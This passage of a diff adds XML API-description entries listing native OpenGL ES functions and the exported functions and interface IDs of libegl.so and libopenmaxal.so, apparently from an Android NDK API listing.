+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferBase" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetGraphicsResetStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabledi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShadingOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEndTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetMultisamplefv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleani_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformBlockIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexBindingDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPauseTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryObjectuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTransformFeedbackVaryings" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReadnPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaskiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReadBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInterfaceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisampleOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBoxEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64i_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libegl.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglTerminate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitGL" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamProducerSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglMakeCurrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferFromClientBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffersWithDamageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitNative" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapInterval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerAcquireKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBEGL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSyncAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglInitialize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamFromFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCopyBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamTimeKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetProcAddress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglBindTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglBindAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglPresentationTimeANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePixmapSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglClientWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerGLTextureExternalKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglLockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSurfaceAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetStreamFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglChooseConfig" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeFrequencyNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateWindowSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSignalSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglSetDamageRegionKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerReleaseKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamu64KHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitClient" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglUnlockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eglQuerySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libopenmaxal.so" static="false" visibility="public">
+      <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOPOSTPROCESSING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_STREAMINFORMATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="xaCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_CONFIGEXTENSION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEEFFECTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_SNAPSHOT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_RADIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_METADATAINSERTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_CAMERA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VIDEODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBOPENMAXAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEDECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_IMAGECONTROLS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_RDS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_CAMERACAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="xaQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
